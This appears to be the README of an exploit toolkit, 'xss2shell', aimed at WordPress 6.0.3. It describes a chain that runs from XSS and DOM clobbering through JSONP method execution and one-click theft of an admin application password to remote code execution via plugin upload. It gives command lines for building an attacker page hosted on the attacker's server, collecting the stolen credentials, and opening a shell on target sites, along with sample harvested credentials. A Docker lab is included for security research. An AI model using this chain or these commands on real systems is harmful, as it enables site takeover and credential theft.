Step 1: Parser Differential XSS
  └─ sanitize_user() allows "< area>", "< div>", "< button>" (space after "<")
     Browser parses these as real HTML elements in login error message

Step 2: DOM Clobbering
  └─ <area id=ajaxurl>   → shadows window.ajaxurl (HTMLAreaElement)
     <div id=color-picker class=reset-pass-submit> → satisfies jQuery selectors
     <button class="wp-generate-pw color-option"> → delegated click handler

Step 3: user-profile.js Auto-Trigger
  └─ Enqueued on wp-login.php (line 1398)
     $('.reset-pass-submit button.wp-generate-pw').trigger('click') fires
     $.post(ajaxurl, ...) → target URL = area.href (attacker-controlled)

Step 4: REST API JSONP + SOME
  └─ _jsonp=window.opener.approve.click → Same Origin Method Execution
     _envelope=1 → bypass auth error, wrap response in 200
     wp_check_jsonp_callback: regex /[^\w\.]/ allows dot traversal

Step 5: Social Engineering (1 click)
  └─ Admin sees real /wp-admin/authorize-application.php page
     Clicks "Approve" → application password minted

Step 6: Credential Theft
  └─ Password appears in redirect query string → read by child window (same-origin)

Step 7: Plugin Upload → RCE
  └─ Upload plugin ZIP → extracted to /wp-content/plugins/{slug}/
     PHP files directly executable WITHOUT activation

pip install requests

python3 xss2shell_poc.py --target https://wp-target.com --check

# With Burp Suite proxy
python3 xss2shell_poc.py --target https://wp-target.com --check --proxy http://127.0.0.1:8081

cd lab
docker-compose up -d
# WordPress 6.0.3 at http://localhost:8080
# Admin: admin / password123

python3 xss2shell_poc.py --target http://localhost:8080 --check --no-ssl

python3 xss2shell_poc.py --target https://wp-target.com \
    --attacker-host https://your-server.com --generate-page

[
  {
    "timestamp": "2026-08-08T...",
    "username": "admin",
    "password": "AbCd 1234 EfGh 5678",
    "site": "https://wp-target.com"
  }
]

python3 xss2shell_poc.py --target https://wp-target.com \
    --username admin --app-password "AbCd 1234 EfGh 5678" --rce

python3 xss2shell_poc.py --target https://wp-target.com \
    --username admin --app-password "AbCd 1234 EfGh 5678" --shell

python3 xss2shell_poc.py --target https://wp-target.com \
    --username admin --app-password "AbCd 1234 EfGh 5678" --cleanup

xss2shell/
├── README.md                      # Documentation (this file)
├── xss2shell_poc.py               # Main PoC script
├── xss2shell_attacker.html        # Generated attacker page
├── collect.php                    # Credential collector endpoint
└── lab/
    ├── docker-compose.yml         # Docker lab (WP 6.0.3)
    ├── VERIFICATION_REPORT.md     # Step-by-step verification
    ├── test_sanitize.php          # sanitize_user() tests
    ├── test_full_payload.php      # Full payload chain test
    ├── test_browser.html          # DOM clobbering browser test
    ├── test_end_to_end.php        # End-to-end PHP test
    └── verify_xss.sh              # Automated curl tests